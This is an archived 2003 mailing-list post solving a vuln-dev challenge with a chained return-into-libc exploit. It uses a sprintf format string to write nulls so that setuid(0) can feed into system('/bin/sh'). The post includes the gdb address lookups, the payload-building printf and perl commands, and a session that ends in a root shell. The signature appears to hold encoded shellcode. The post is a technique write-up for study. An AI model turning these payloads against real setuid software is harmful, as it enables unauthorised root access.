Pantek Library
Hosting Provided By
CybrHost
High Speed Hosting

Re: [Vuln-dev Challenge] Challenge #2 (New technique maybe?)

From: Jon Erickson <matrix(at)phiral.com>
Date: Tue Jun 03 2003 - 20:18:44 EDT

On Sat, 24 May 2003 18:03:03 -0700
Jose Ronnick <matrix@phiral.com> wrote:

> There's also a way to do with without building a trampoline prog to bounce 
> off of.. just chaining libc calls...  If no one else posts a solution doing
> it, I'll do it an post it later...

So I had mentioned that there was a way to exploit this program without building a trampoline program... just by chaining libc calls... And since no one else has posted a solution doing so.. and a few people have expressed interest.. I figured I'd do so. Also, I think this might be a new technique I came up with.. so I figured I'd share.

Basically what I'm going to try to do it chain some libc calls, just like solar designer explained so many years ago.. a setuid() call chained into a system() call.. the setuid restoring privileges... The dilemma here (which he left as an exercise for the reader) is that setuid() expects an unsigned integer as it's only argument. Since this value should be 0, the word for this argument should be 0x00000000. This is a problem, because any null byte will terminate the string, and this argument must be in the middle of the chain..

[&setuid][&system][0x00000000][&"/bin/sh"]

Crap. A recent phrack article explains a method for writing nulls using multiple strcpy() calls, but this makes the chain pretty big.. so..

here's my idea.. return-into-libc... meet my good friend the format string.. Using direct parameter access, we can skip over the arguments that are used for other calls in the chain, and using %n at the beginning, we can write 4 bytes of null anywhere we want. In fact, using a more complex format string, and returning into the libc functions sprintf() or printf(), we can write to a multitude of different addresses, all with a single call... And by using direct parameter access, we can leave room for other chains and only hit the arguments we want.

Do you need help?X

In it's most basic form...

[&sprintf][&setuid][&here][&format_string][&"/bin/sh"][&here-8]

                              ^--------------------------'
                              |This is where you need a null

with a format string that looks something like "%2$n<&system>"..

The sprintf call will happen first, parsing the DPA in the format string to access the second arg (the address where you need the null) and doing a %n (write 4 bytes of 0). Then it will print the address of system into &here, getting ready for the end of the chain.. Then it will return into the setuid() call, using the newly written word of null as the argument for it.. Then that will return into the newly written system address to do a system call with the "/bin/sh" argument which was neatly skipped over with thanks to direct parameter access.

Being able to write any number of nulls to a nearly arbitrary number of addresses with a single call is very useful in cutting up strings.. In the following exploit, I use it to null terminate the "/bin/sh" string before the system call..

Anyway.. I think this is new, and might be helpful to some people.. Here's an example of it's use on the vulndev2.c challenge. In this one I use a slightly more complex format string, where I actually write 3 different addresses with a single call; two nulls and the system address. Also.. on my laptop the system address is annoyingly at an address ending with 0x20, which is the space character. Pain in the ass, but luckily the instruction right before it is a NOP, so I just return into there.. whew.. basically everything else is the same as my last exploit.. switch around the exit(1) to a sleep(1), and then chain away from there using this new technique... Oh yeah.. also all that sed stuff with the vulnD program is just to figure out where the buffer will be located in the vuln2 program... And I tried to make the pcalc calculations as intuitive as possible.. anyway.. lemme know what you guys think..

matrix@overdose vuln-dev $ gcc -o vuln2 vulndev2.c 
matrix@overdose vuln-dev $ sudo chown root.root vuln2
matrix@overdose vuln-dev $ sudo chmod +s vuln2
matrix@overdose vuln-dev $ echo 'main(){sleep();setuid();system();sprintf(0);}' > e.c;gcc -o e.x e.c;gdb -q e.x; rm e.*

(gdb) break main

Breakpoint 1 at 0x80483de
(gdb) run

Starting program: /home/matrix/research/vuln-dev/e.x

Breakpoint 1, 0x080483de in main ()
(gdb) p sleep

$1 = {<text variable, no debug info>} 0x400ce760 <sleep>
(gdb) p setuid

$2 = {<text variable, no debug info>} 0x400cf3f0 <setuid>
(gdb) p system

$3 = {<text variable, no debug info>} 0x40063520 <system>
(gdb) p sprintf

$4 = {<text variable, no debug info>} 0x400739b0 <sprintf>
(gdb) x/i system-1

0x4006351f <do_system+847>: nop
(gdb) quit

The program is running. Exit anyway? (y or n) y matrix@overdose vuln-dev $ printf "\x60\xe7\x0c\x40/bin/shXXXX%%2\$n%%3\$n\x1f\x35\x06\x40\x00" > db.log matrix@overdose vuln-dev $ cat db.log

  @/bin/shXXXX%2$n%3$n5@matrix@overdose vuln-dev $ matrix@overdose vuln-dev $ objdump -R vuln2 | grep exit 0804974c R_386_JUMP_SLOT exit
matrix@overdose vuln-dev $ sed -e 's/1]);/1]);\nprintf("buf @ %p\\n",\&buf);/' vulndev2.c > vulndev2-debug.c matrix@overdose vuln-dev $ grep -A 1 strcpy vulndev2-debug.c

        strcpy(buf, argv[1]);
printf("buf @ %p\n",&buf);
matrix@overdose vuln-dev $ gcc -o vulnD vulndev2-debug.c matrix@overdose vuln-dev $ ./vulnD `perl -e 'print "ABCD"x38;'` h buf @ 0xbffff680
Segmentation fault
matrix@overdose vuln-dev $ pcalc 0xf680 + 124 + 4 + 4

Do you need more help?X

        63236 0xf704 0y1111011100000100 matrix@overdose vuln-dev $ pcalc 0x974c + 4 + 7 + 4

        38747           0x975b          0y1001011101011011
matrix@overdose vuln-dev $ pcalc 0x974c + 4        
        38736           0x9750          0y1001011101010000
matrix@overdose vuln-dev $ pcalc 0xf680 + 124 + 4 + 4 + 4
        63240           0xf708          0y1111011100001000
matrix@overdose vuln-dev $ pcalc 0x974c + 4 + 7    
        38743           0x9757          0y1001011101010111
matrix@overdose vuln-dev $ ./vuln2 `perl -e 'print "\x4c\x97\x04\x08"x31 . "\xb0\x39\x07\x40" . "\xf0\xf3\x0c\x40" . "\x04\xf7\xff\xbf" . "\x5b\x97\x04\x08" . "\x50\x97\x04\x08" . "\x08\xf7\xff\xbf" . "\x57\x97\x04\x08";'` h `ç
  @/bin/shXXXX%2$n%3$n5@
sh-2.05b# id
uid=0(root) gid=100(users) groups=100(users),10(wheel),18(audio),250(portage) sh-2.05b#

Nothing but libc calls... awww yeah... =)

-- 
%JOSE_RONNICK%50,:-dddd-0EEb-pVVyP\-1111-jjjj-yNNN-_4HUP-qq0q-02%r-_Z%JP-%Iwp-5kyyP-n5nn-aTTa-1271P-4ttt-/888-3tSMP-bbnb-L8wL-kMwgP-3Hy3-rqzWP-m%m8-h4x--v%r5P-S7S7-g7g7-F2u2PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

  • application/pgp-signature attachment: stored
Received on Wed Jun 4 12:49:26 2003

This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:40 EDT


Contact Us  Legal Notices  Order Services Online 
Pantek Home  Privacy Policy  IT news  Site Map  Pantek Library